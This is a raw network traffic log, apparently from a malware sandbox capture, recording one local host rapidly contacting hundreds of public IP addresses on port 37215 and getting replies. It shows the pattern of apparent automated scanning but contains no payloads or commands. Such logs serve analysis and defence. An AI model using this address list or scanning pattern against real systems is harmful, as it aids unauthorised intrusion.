Jul 20, 2024 23:01:00.064970970 CEST	50563	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:00.064970970 CEST	50563	37215	192.168.2.13	41.74.135.43
Jul 20, 2024 23:01:00.065037012 CEST	50563	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:00.065037012 CEST	50563	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:00.065037966 CEST	50563	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:00.065037966 CEST	50563	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:00.065037966 CEST	50563	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:00.065037966 CEST	50563	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:00.065037966 CEST	50563	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:00.065083027 CEST	50563	37215	192.168.2.13	157.113.83.79
Jul 20, 2024 23:01:00.065083027 CEST	50563	37215	192.168.2.13	157.25.228.57
Jul 20, 2024 23:01:00.065083027 CEST	50563	37215	192.168.2.13	197.250.181.100
Jul 20, 2024 23:01:00.065083027 CEST	50563	37215	192.168.2.13	14.89.47.143
Jul 20, 2024 23:01:00.065898895 CEST	50563	37215	192.168.2.13	41.120.70.192
Jul 20, 2024 23:01:00.065898895 CEST	50563	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:00.065898895 CEST	50563	37215	192.168.2.13	41.170.121.130
Jul 20, 2024 23:01:00.065898895 CEST	50563	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:00.065898895 CEST	50563	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	92.31.50.53
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	199.7.187.18
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	197.179.182.47
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	41.142.181.62
Jul 20, 2024 23:01:00.066622972 CEST	50563	37215	192.168.2.13	197.227.153.203
Jul 20, 2024 23:01:00.066623926 CEST	50563	37215	192.168.2.13	197.7.205.229
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	41.119.197.216
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	197.26.157.201
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:00.066657066 CEST	50563	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	204.12.39.60
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	170.253.218.179
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	161.87.144.23
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	41.45.233.5
Jul 20, 2024 23:01:00.066965103 CEST	50563	37215	192.168.2.13	41.58.206.220
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	157.117.186.115
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	41.66.205.159
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	157.28.17.113
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:00.067118883 CEST	50563	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	25.125.187.17
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	173.132.232.37
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	197.26.124.173
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	89.176.16.102
Jul 20, 2024 23:01:00.067389965 CEST	50563	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	197.201.223.21
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	41.116.144.63
Jul 20, 2024 23:01:00.067708969 CEST	50563	37215	192.168.2.13	93.108.13.246
Jul 20, 2024 23:01:00.067778111 CEST	80	37700	88.73.253.215	192.168.2.13
Jul 20, 2024 23:01:00.068897009 CEST	52869	41122	57.30.119.39	192.168.2.13
Jul 20, 2024 23:01:00.068948030 CEST	37215	50563	90.118.180.212	192.168.2.13
Jul 20, 2024 23:01:00.068979979 CEST	8081	42572	182.4.25.2	192.168.2.13
Jul 20, 2024 23:01:00.069227934 CEST	37215	50563	197.68.211.95	192.168.2.13
Jul 20, 2024 23:01:00.069264889 CEST	37215	50563	197.74.4.205	192.168.2.13
Jul 20, 2024 23:01:00.069295883 CEST	37215	50563	197.77.114.34	192.168.2.13
Jul 20, 2024 23:01:00.069325924 CEST	37215	50563	197.94.251.61	192.168.2.13
Jul 20, 2024 23:01:00.069355011 CEST	37215	50563	197.31.246.31	192.168.2.13
Jul 20, 2024 23:01:00.069399118 CEST	37215	50563	41.59.239.153	192.168.2.13
Jul 20, 2024 23:01:00.069427013 CEST	37215	50563	197.107.200.173	192.168.2.13
Jul 20, 2024 23:01:00.069457054 CEST	37215	50563	157.12.134.58	192.168.2.13
Jul 20, 2024 23:01:00.069487095 CEST	37215	50563	157.125.89.203	192.168.2.13
Jul 20, 2024 23:01:00.069681883 CEST	37215	50563	197.194.56.97	192.168.2.13
Jul 20, 2024 23:01:00.069713116 CEST	37215	50563	41.195.201.112	192.168.2.13
Jul 20, 2024 23:01:00.069943905 CEST	37215	50563	197.140.115.231	192.168.2.13
Jul 20, 2024 23:01:00.069998980 CEST	37215	50563	41.171.233.155	192.168.2.13
Jul 20, 2024 23:01:00.070137978 CEST	37215	50563	157.200.28.48	192.168.2.13
Jul 20, 2024 23:01:00.070168972 CEST	37215	50563	157.18.137.5	192.168.2.13
Jul 20, 2024 23:01:00.070200920 CEST	37215	50563	41.215.54.255	192.168.2.13
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	41.29.132.43
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	157.51.20.237
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	197.240.195.159
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	157.173.199.42
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	157.47.74.129
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	157.81.239.235
Jul 20, 2024 23:01:00.070208073 CEST	50563	37215	192.168.2.13	41.140.230.143
Jul 20, 2024 23:01:00.070230007 CEST	37215	50563	132.227.49.42	192.168.2.13
Jul 20, 2024 23:01:00.070261002 CEST	37215	50563	197.186.137.146	192.168.2.13
Jul 20, 2024 23:01:00.070380926 CEST	37215	50563	197.189.139.115	192.168.2.13
Jul 20, 2024 23:01:00.070564032 CEST	37215	50563	111.163.203.195	192.168.2.13
Jul 20, 2024 23:01:00.070597887 CEST	37215	50563	40.45.115.153	192.168.2.13
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	41.184.93.79
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	98.25.171.48
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	70.116.57.7
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:00.070599079 CEST	50563	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:00.070626974 CEST	37215	50563	157.113.83.79	192.168.2.13
Jul 20, 2024 23:01:00.070635080 CEST	50563	37215	192.168.2.13	157.155.116.140
Jul 20, 2024 23:01:00.070635080 CEST	50563	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:00.070635080 CEST	50563	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:00.070635080 CEST	50563	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:00.070636034 CEST	50563	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:00.070636034 CEST	50563	37215	192.168.2.13	197.187.132.119
Jul 20, 2024 23:01:00.070636034 CEST	50563	37215	192.168.2.13	46.91.29.61
Jul 20, 2024 23:01:00.070636034 CEST	50563	37215	192.168.2.13	157.12.16.61
Jul 20, 2024 23:01:00.070657969 CEST	37215	50563	41.68.213.107	192.168.2.13
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	197.245.177.60
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	41.71.97.69
Jul 20, 2024 23:01:00.070692062 CEST	37700	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:00.070692062 CEST	50563	37215	192.168.2.13	157.242.34.8
Jul 20, 2024 23:01:00.070698977 CEST	37215	50563	41.60.18.93	192.168.2.13
Jul 20, 2024 23:01:00.070957899 CEST	37215	50563	157.25.228.57	192.168.2.13
Jul 20, 2024 23:01:00.070988894 CEST	37215	50563	197.214.26.254	192.168.2.13
Jul 20, 2024 23:01:00.071019888 CEST	37215	50563	41.236.26.155	192.168.2.13
Jul 20, 2024 23:01:00.071078062 CEST	37215	50563	41.74.135.43	192.168.2.13
Jul 20, 2024 23:01:00.071106911 CEST	37215	50563	157.69.83.103	192.168.2.13
Jul 20, 2024 23:01:00.071135998 CEST	37215	50563	41.120.70.192	192.168.2.13
Jul 20, 2024 23:01:00.071155071 CEST	50563	37215	192.168.2.13	125.124.24.16
Jul 20, 2024 23:01:00.071155071 CEST	50563	37215	192.168.2.13	197.52.49.166
Jul 20, 2024 23:01:00.071155071 CEST	50563	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:00.071155071 CEST	50563	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:00.071156025 CEST	50563	37215	192.168.2.13	197.75.193.161
Jul 20, 2024 23:01:00.071156025 CEST	50563	37215	192.168.2.13	197.218.185.44
Jul 20, 2024 23:01:00.071156025 CEST	50563	37215	192.168.2.13	197.243.107.118
Jul 20, 2024 23:01:00.071156025 CEST	50563	37215	192.168.2.13	197.192.158.37
Jul 20, 2024 23:01:00.071446896 CEST	37215	50563	197.206.209.177	192.168.2.13
Jul 20, 2024 23:01:00.071480989 CEST	37215	50563	157.45.209.254	192.168.2.13
Jul 20, 2024 23:01:00.071516991 CEST	37215	50563	41.204.18.19	192.168.2.13
Jul 20, 2024 23:01:00.071547031 CEST	37215	50563	41.157.87.9	192.168.2.13
Jul 20, 2024 23:01:00.071815968 CEST	37215	50563	197.137.132.163	192.168.2.13
Jul 20, 2024 23:01:00.072107077 CEST	37215	50563	14.117.126.33	192.168.2.13
Jul 20, 2024 23:01:00.072138071 CEST	37215	50563	157.38.182.214	192.168.2.13
Jul 20, 2024 23:01:00.072223902 CEST	37215	50563	197.250.181.100	192.168.2.13
Jul 20, 2024 23:01:00.072254896 CEST	37215	50563	41.190.198.11	192.168.2.13
Jul 20, 2024 23:01:00.072384119 CEST	37215	50563	41.170.121.130	192.168.2.13
Jul 20, 2024 23:01:00.072413921 CEST	37215	50563	14.89.47.143	192.168.2.13
Jul 20, 2024 23:01:00.072443008 CEST	37215	50563	41.119.197.216	192.168.2.13
Jul 20, 2024 23:01:00.072472095 CEST	37215	50563	197.111.92.249	192.168.2.13
Jul 20, 2024 23:01:00.072521925 CEST	37215	50563	157.44.27.109	192.168.2.13
Jul 20, 2024 23:01:00.072551966 CEST	37215	50563	157.117.186.115	192.168.2.13
Jul 20, 2024 23:01:00.072582006 CEST	37215	50563	197.25.72.152	192.168.2.13
Jul 20, 2024 23:01:00.072643995 CEST	37215	50563	157.122.210.70	192.168.2.13
Jul 20, 2024 23:01:00.072745085 CEST	37215	50563	197.80.112.192	192.168.2.13
Jul 20, 2024 23:01:00.072774887 CEST	37215	50563	204.12.39.60	192.168.2.13
Jul 20, 2024 23:01:00.072804928 CEST	37215	50563	197.170.0.226	192.168.2.13
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	41.170.154.240
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	197.12.169.82
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	41.154.139.135
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	171.255.58.196
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	137.251.208.230
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	197.113.144.11
Jul 20, 2024 23:01:00.072830915 CEST	50563	37215	192.168.2.13	157.162.35.169
Jul 20, 2024 23:01:00.073009014 CEST	37215	50563	157.181.19.73	192.168.2.13
Jul 20, 2024 23:01:00.073179007 CEST	37215	50563	41.156.209.55	192.168.2.13
Jul 20, 2024 23:01:00.073209047 CEST	37215	50563	197.13.115.180	192.168.2.13
Jul 20, 2024 23:01:00.073239088 CEST	37215	50563	221.202.160.22	192.168.2.13
Jul 20, 2024 23:01:00.073293924 CEST	50563	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:00.073293924 CEST	50563	37215	192.168.2.13	197.3.128.173
Jul 20, 2024 23:01:00.073293924 CEST	50563	37215	192.168.2.13	41.209.16.109
Jul 20, 2024 23:01:00.073293924 CEST	50563	37215	192.168.2.13	197.103.24.251
Jul 20, 2024 23:01:00.073293924 CEST	50563	37215	192.168.2.13	157.200.220.148
Jul 20, 2024 23:01:00.073293924 CEST	50563	37215	192.168.2.13	41.252.153.174
Jul 20, 2024 23:01:00.073295116 CEST	50563	37215	192.168.2.13	41.49.78.43
Jul 20, 2024 23:01:00.073295116 CEST	50563	37215	192.168.2.13	171.62.158.14
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	197.28.62.129
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	157.217.115.59
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	197.2.40.4
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	197.54.201.107
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	47.238.173.9
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	64.40.133.93
Jul 20, 2024 23:01:00.073333979 CEST	50563	37215	192.168.2.13	218.119.176.170
Jul 20, 2024 23:01:00.073553085 CEST	37215	50563	157.204.6.4	192.168.2.13
Jul 20, 2024 23:01:00.073585033 CEST	37215	50563	197.26.157.201	192.168.2.13
Jul 20, 2024 23:01:00.073613882 CEST	37215	50563	197.215.77.6	192.168.2.13
Jul 20, 2024 23:01:00.073643923 CEST	37215	50563	41.66.205.159	192.168.2.13
Jul 20, 2024 23:01:00.073672056 CEST	37215	50563	25.125.187.17	192.168.2.13
Jul 20, 2024 23:01:00.073699951 CEST	37215	50563	41.101.96.17	192.168.2.13
Jul 20, 2024 23:01:00.073893070 CEST	37215	50563	170.253.218.179	192.168.2.13
Jul 20, 2024 23:01:00.073945045 CEST	37215	50563	157.141.29.177	192.168.2.13
Jul 20, 2024 23:01:00.073999882 CEST	37215	50563	197.206.115.125	192.168.2.13
Jul 20, 2024 23:01:00.074033022 CEST	37215	50563	157.28.17.113	192.168.2.13
Jul 20, 2024 23:01:00.074069023 CEST	37215	50563	140.242.21.87	192.168.2.13
Jul 20, 2024 23:01:00.074218035 CEST	50563	37215	192.168.2.13	157.185.246.104
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	41.96.4.94
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	87.96.38.237
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	157.171.92.123
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	157.199.202.121
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	41.204.123.230
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	210.103.19.185
Jul 20, 2024 23:01:00.074218988 CEST	50563	37215	192.168.2.13	41.180.188.91
Jul 20, 2024 23:01:00.074229002 CEST	37215	50563	173.132.232.37	192.168.2.13
Jul 20, 2024 23:01:00.074260950 CEST	37215	50563	13.152.140.36	192.168.2.13
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	157.77.4.214
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	197.217.94.248
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	221.227.34.24
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	197.66.47.215
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	197.191.13.46
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	119.59.179.103
Jul 20, 2024 23:01:00.074682951 CEST	50563	37215	192.168.2.13	41.37.83.90
Jul 20, 2024 23:01:00.074688911 CEST	37215	50563	92.31.50.53	192.168.2.13
Jul 20, 2024 23:01:00.074738979 CEST	37215	50563	147.21.178.207	192.168.2.13
Jul 20, 2024 23:01:00.074770927 CEST	37215	50563	161.87.144.23	192.168.2.13
Jul 20, 2024 23:01:00.074809074 CEST	37215	50563	202.117.135.95	192.168.2.13
Jul 20, 2024 23:01:00.074839115 CEST	37215	50563	199.7.187.18	192.168.2.13
Jul 20, 2024 23:01:00.074867964 CEST	37215	50563	197.30.140.44	192.168.2.13
Jul 20, 2024 23:01:00.074909925 CEST	37215	50563	41.45.233.5	192.168.2.13
Jul 20, 2024 23:01:00.075026035 CEST	37215	50563	157.137.243.27	192.168.2.13
Jul 20, 2024 23:01:00.075057983 CEST	37215	50563	47.63.66.179	192.168.2.13
Jul 20, 2024 23:01:00.075099945 CEST	37215	50563	197.26.124.173	192.168.2.13
Jul 20, 2024 23:01:00.075129986 CEST	37215	50563	41.59.60.215	192.168.2.13
Jul 20, 2024 23:01:00.075160027 CEST	37215	50563	41.58.206.220	192.168.2.13
Jul 20, 2024 23:01:00.075370073 CEST	37215	50563	157.122.230.247	192.168.2.13
Jul 20, 2024 23:01:00.075402975 CEST	37215	50563	89.176.16.102	192.168.2.13
Jul 20, 2024 23:01:00.075432062 CEST	37215	50563	41.174.42.115	192.168.2.13
Jul 20, 2024 23:01:00.075551987 CEST	37215	50563	197.141.132.83	192.168.2.13
Jul 20, 2024 23:01:00.075583935 CEST	37215	50563	91.112.89.216	192.168.2.13
Jul 20, 2024 23:01:00.075613976 CEST	37215	50563	41.79.65.151	192.168.2.13
Jul 20, 2024 23:01:00.075654030 CEST	37215	50563	201.248.6.28	192.168.2.13
Jul 20, 2024 23:01:00.075684071 CEST	37215	50563	41.184.93.79	192.168.2.13
Jul 20, 2024 23:01:00.075712919 CEST	37215	50563	41.104.162.59	192.168.2.13
Jul 20, 2024 23:01:00.075743914 CEST	37215	50563	197.151.215.75	192.168.2.13
Jul 20, 2024 23:01:00.076231956 CEST	37215	50563	157.155.116.140	192.168.2.13
Jul 20, 2024 23:01:00.076286077 CEST	37215	50563	197.245.177.60	192.168.2.13
Jul 20, 2024 23:01:00.076320887 CEST	37215	50563	157.171.147.236	192.168.2.13
Jul 20, 2024 23:01:00.076351881 CEST	37215	50563	197.146.235.18	192.168.2.13
Jul 20, 2024 23:01:00.076381922 CEST	37215	50563	197.96.187.238	192.168.2.13
Jul 20, 2024 23:01:00.076426029 CEST	37215	50563	41.39.134.254	192.168.2.13
Jul 20, 2024 23:01:00.076456070 CEST	37215	50563	98.25.171.48	192.168.2.13
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	197.43.150.29
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	157.208.118.243
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	168.182.205.114
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	197.68.211.95
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	197.94.251.61
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	41.59.239.153
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	157.125.89.203
Jul 20, 2024 23:01:00.076560020 CEST	50563	37215	192.168.2.13	132.227.49.42
Jul 20, 2024 23:01:00.076705933 CEST	37215	50563	157.130.93.53	192.168.2.13
Jul 20, 2024 23:01:00.076739073 CEST	37215	50563	198.40.74.18	192.168.2.13
Jul 20, 2024 23:01:00.076771975 CEST	37215	50563	70.116.57.7	192.168.2.13
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	197.214.104.241
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	14.145.220.146
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	141.78.2.84
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	157.194.214.218
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	197.79.63.222
Jul 20, 2024 23:01:00.076785088 CEST	42572	8081	192.168.2.13	182.4.25.2
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	41.195.201.112
Jul 20, 2024 23:01:00.076785088 CEST	50563	37215	192.168.2.13	197.140.115.231
Jul 20, 2024 23:01:00.076807976 CEST	37215	50563	125.124.24.16	192.168.2.13
Jul 20, 2024 23:01:00.076875925 CEST	37215	50563	197.164.134.229	192.168.2.13
Jul 20, 2024 23:01:00.076905966 CEST	37215	50563	197.52.49.166	192.168.2.13
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	41.255.50.16
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	197.150.40.90
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	157.101.162.77
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	197.118.70.108
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	150.36.84.70
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	197.218.97.111
Jul 20, 2024 23:01:00.077164888 CEST	50563	37215	192.168.2.13	41.59.223.239
Jul 20, 2024 23:01:00.077260971 CEST	37215	50563	125.16.244.96	192.168.2.13
Jul 20, 2024 23:01:00.077315092 CEST	37215	50563	41.235.172.174	192.168.2.13
Jul 20, 2024 23:01:00.077346087 CEST	37215	50563	157.81.89.101	192.168.2.13
Jul 20, 2024 23:01:00.077375889 CEST	37215	50563	157.252.104.249	192.168.2.13
Jul 20, 2024 23:01:00.077405930 CEST	37215	50563	197.187.132.119	192.168.2.13
Jul 20, 2024 23:01:00.077522039 CEST	37215	50563	197.199.15.206	192.168.2.13
Jul 20, 2024 23:01:00.077567101 CEST	37215	50563	197.33.169.56	192.168.2.13
Jul 20, 2024 23:01:00.077596903 CEST	37215	50563	41.31.110.255	192.168.2.13
Jul 20, 2024 23:01:00.077861071 CEST	37215	50563	197.112.159.46	192.168.2.13
Jul 20, 2024 23:01:00.077897072 CEST	37215	50563	80.166.177.56	192.168.2.13
Jul 20, 2024 23:01:00.077941895 CEST	37215	50563	41.151.30.29	192.168.2.13
Jul 20, 2024 23:01:00.077970982 CEST	37215	50563	197.95.163.59	192.168.2.13
Jul 20, 2024 23:01:00.078001022 CEST	37215	50563	46.91.29.61	192.168.2.13
Jul 20, 2024 23:01:00.078031063 CEST	37215	50563	197.75.193.161	192.168.2.13
Jul 20, 2024 23:01:00.078425884 CEST	37215	50563	197.156.183.155	192.168.2.13
Jul 20, 2024 23:01:00.078480005 CEST	37215	50563	197.123.108.99	192.168.2.13
Jul 20, 2024 23:01:00.078526020 CEST	37215	50563	157.12.16.61	192.168.2.13
Jul 20, 2024 23:01:00.078556061 CEST	37215	50563	197.218.185.44	192.168.2.13
Jul 20, 2024 23:01:00.078586102 CEST	37215	50563	41.170.154.240	192.168.2.13
Jul 20, 2024 23:01:00.078634977 CEST	50563	37215	192.168.2.13	41.116.235.163
Jul 20, 2024 23:01:00.078634977 CEST	50563	37215	192.168.2.13	157.187.16.84
Jul 20, 2024 23:01:00.078634977 CEST	50563	37215	192.168.2.13	41.103.47.251
Jul 20, 2024 23:01:00.078634977 CEST	50563	37215	192.168.2.13	19.63.222.55
Jul 20, 2024 23:01:00.078634977 CEST	50563	37215	192.168.2.13	41.221.111.207
Jul 20, 2024 23:01:00.079014063 CEST	37215	50563	197.182.149.227	192.168.2.13
Jul 20, 2024 23:01:00.079071999 CEST	37215	50563	197.243.107.118	192.168.2.13
Jul 20, 2024 23:01:00.079128981 CEST	37215	50563	159.11.170.80	192.168.2.13
Jul 20, 2024 23:01:00.079159021 CEST	37215	50563	197.75.142.184	192.168.2.13
Jul 20, 2024 23:01:00.079189062 CEST	37215	50563	197.201.223.21	192.168.2.13
Jul 20, 2024 23:01:00.079457045 CEST	50563	37215	192.168.2.13	41.37.206.254
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	41.83.163.214
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	205.213.110.131
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	41.240.194.108
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	157.153.183.158
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	41.9.140.35
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	41.155.18.221
Jul 20, 2024 23:01:00.079457998 CEST	50563	37215	192.168.2.13	197.22.144.135
Jul 20, 2024 23:01:00.079511881 CEST	37215	50563	41.29.132.43	192.168.2.13
Jul 20, 2024 23:01:00.079545021 CEST	37215	50563	197.192.158.37	192.168.2.13
Jul 20, 2024 23:01:00.079574108 CEST	37215	50563	41.116.144.63	192.168.2.13
Jul 20, 2024 23:01:00.079695940 CEST	37215	50563	157.51.20.237	192.168.2.13
Jul 20, 2024 23:01:00.079727888 CEST	37215	50563	197.179.182.47	192.168.2.13
Jul 20, 2024 23:01:00.080369949 CEST	37215	50563	93.108.13.246	192.168.2.13
Jul 20, 2024 23:01:00.080427885 CEST	37215	50563	197.240.195.159	192.168.2.13
Jul 20, 2024 23:01:00.080459118 CEST	37215	50563	157.77.4.214	192.168.2.13
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	157.113.83.79
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	157.25.228.57
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	197.250.181.100
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	14.89.47.143
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	197.111.92.249
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	157.117.186.115
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	41.66.205.159
Jul 20, 2024 23:01:00.080463886 CEST	50563	37215	192.168.2.13	157.28.17.113
